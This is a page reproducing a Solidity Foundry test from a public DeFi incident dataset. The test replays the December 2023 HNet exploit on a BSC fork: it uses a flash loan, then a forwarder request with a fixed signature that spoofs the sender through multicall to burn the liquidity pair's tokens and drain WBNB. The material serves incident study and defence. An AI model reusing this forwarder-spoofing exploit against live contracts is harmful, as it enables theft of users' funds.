Public reproduction file
src/test/2023-12/HNet_exp.sol
Public reproduction file for dataset entry HNet.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~2.4 $WBNB5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc5026// Attack Contract : https://bscscan.com/address/0xaed80b8a821607981e5e58b7a753a3336c0bfd6f7// Vulnerable Contract : https://bscscan.com/address/0x0dabdc92af35615443412a336344c591faed3f908// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x1ee617cd739b1afcc673a180e60b9a32ad3ba856226a68e8748d58fcccc877a810import "forge-std/Test.sol";11import "./../interface.sol";13interface IDPPAdvanced {14 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;15}17interface IHNetTOWBNB {18 function sync() external;19}21interface IForwarder {22 struct ForwardRequest {23 address from;24 address to;25 uint256 value;26 uint256 gas;27 uint256 nonce;28 bytes data;29 }31 function getNonce(32 address from33 ) external view returns (uint256);34 function execute(ForwardRequest memory req, bytes memory signature) external payable returns (bool, bytes memory);35}37interface IHNet is IERC20 {38 function burn(39 uint256 amount40 ) external;41 function multicall(42 bytes[] memory data43 ) external returns (bytes[] memory results);44}46contract ContractTest is Test {47 IHNet HNet = IHNet(0x256D3BC542Ff4eDb5959b584Cc98741d28165BBc);48 IForwarder Forwarder = IForwarder(0x7C4717039B89d5859c4Fbb85EDB19A6E2ce61171);49 IHNetTOWBNB Pair = IHNetTOWBNB(0x7E3F53Af12B2C84c35700BE68Cd316518546ca34);50 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);51 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));52 IDPPAdvanced DODO = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);53 address attacker = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;55 function setUp() public {56 vm.createSelectFork("bsc", 34_141_220 - 1);57 vm.label(address(HNet), "HNet");58 }60 function testExploit() public {61 emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));62 HNet.approve(address(Router), type(uint256).max);63 WBNB.approve(address(Router), type(uint256).max);64 DODO.flashLoan(0.1 * 1e18, 0, address(this), new bytes(1));65 emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));66 }68 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {69 require(msg.sender == address(DODO), "Fail");70 WBNBTOTOKEN();72 uint256 amountToBurn = 1_970_000 * 1e18;73 bytes[] memory datas = new bytes[](1);74 datas[0] = abi.encodePacked(IHNet.burn.selector, amountToBurn, address(Pair));75 bytes memory data_muliti = abi.encodeWithSelector(IHNet.multicall.selector, datas);77 IForwarder.ForwardRequest memory req = IForwarder.ForwardRequest({78 from: attacker,79 to: address(HNet),80 value: 0,81 gas: 5e6,82 nonce: Forwarder.getNonce(attacker),83 data: data_muliti84 });85 //bytes32 ethMessagessign = toTypedDataHash(bytes32(0x99d026edad79cd8998e26685e38b0fe8e2b6a9a325835609c9e4aedb3056e1a0), keccak256(abi.encode(TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data))));86 bytes32 r = 0xc065407074ef2e05acdd73a1b1c96c6fa4215c8298f1b78b549d6849e3d84e47;87 bytes32 s = 0x5decf131b7477236ea72bb15dfb89ea226dff05cd173063e34fe9aea54e667f7;88 uint8 v = 27;89 bytes memory signature = abi.encodePacked(r, s, v);91 Forwarder.execute(req, signature);92 Pair.sync();93 TOKENTOWBNB();95 WBNB.transfer(address(DODO), 0.1 * 1e18);96 }98 function WBNBTOTOKEN() internal {99 address[] memory path = new address[](2);100 path[0] = address(WBNB);101 path[1] = address(HNet);102 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(103 0.1 * 1e18, 0, path, address(this), block.timestamp104 );105 }107 function TOKENTOWBNB() internal {108 address[] memory path = new address[](2);109 path[0] = address(HNet);110 path[1] = address(WBNB);111 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(112 HNet.balanceOf(address(this)), 0, path, address(this), block.timestamp113 );114 }116 //function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {117 // return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));118 //}120 fallback() external payable {}121 receive() external payable {}122}Analysis
Dataset entry
Public Foundry test for “HNet” (2023-12-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x835b45d38cbdccf99e609436ff38e31ac05bc502
- Attack Contract
0xaed80b8a821607981e5e58b7a753a3336c0bfd6f
- Vulnerable Contract
0x0dabdc92af35615443412a336344c591faed3f90
- Attack Tx
0x1ee617cd739b1afcc673a180e60b9a32ad3ba856226a68e8748d58fcccc877a8
File record
- Name
- HNet
- Path
- src/test/2023-12/HNet_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 7e1b6216223da87cced0844b54b3e68009af90cf
- Language
- Solidity
- Size
- 123 lines
- Date
- 2023-12-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/HNet_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7e1b6216223da87cced0844b54b3e68009af90cf, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.